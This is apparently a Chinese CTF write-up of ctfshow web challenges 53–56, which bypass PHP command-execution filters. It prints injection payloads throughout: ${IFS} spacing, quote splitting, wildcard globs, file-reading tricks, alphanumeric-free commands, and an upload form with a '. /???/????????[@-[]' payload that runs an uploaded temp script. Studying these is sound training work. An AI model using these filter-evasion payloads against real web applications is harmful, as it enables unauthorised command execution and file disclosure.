0%

ctfshow web入门53~56

web53


多过滤了一个wget,多添加了一个回显。
payload:

1
?c=ca''t${IFS}fla''g.php

web54


这道将使用''的方式给剔除了。去网上找其他人的wp发现好几种方法。
第一种:
可以用mv。
payload:

1
2
/?c=mv${IFS}fla?.php${IFS}abc.txt
/abc.txt

第二种:

1
grep test *file   #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行

payload:

1
?c=grep${IFS}ctf${IFS}fl???php

第三种:
可以用rev逆序输出
payload:

1
?c=rev${IFS}fl??????

第四种:
paste直接查看
payload:

1
?c=paste${IFS}fl??????

第五种:
可以理解为当前目录运行cat命令实际上运行的也是bin/cat。
payload:

1
/bin/?at${IFS}fl??????

web55

img
题是真的恶心,脑子有点痒,感觉要长脑子了。。。。
继无字母数字的命令执行(ctfshow web入门 55)新姿势
payload:

1
?c=/???/????64 ????.???

web56

img
题是越来越难了。
参考P神的文章上无字母数字webshell之提高篇
首先构造一个POST上传文件的数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST文件上传</title>
</head>
<body>
<form action="http://17d01aae-51d9-48fe-abfb-d9ba10037d72.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

上传一个php文件

1
2
#!/bin/sh
ls

注:shell程序必须以”#!/bin/sh”开始,#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径
用bp抓包
抓包之后添加参数c如下,多发包几次(因为并不一定生成的临时文件的最后一个字母就是大写字母),可以看到执行了ls命令
img
参数内容为什么是 .%20/???/????????[@-[] ,P神的文章已经写的很详细了。
最后用cat看一下就可以了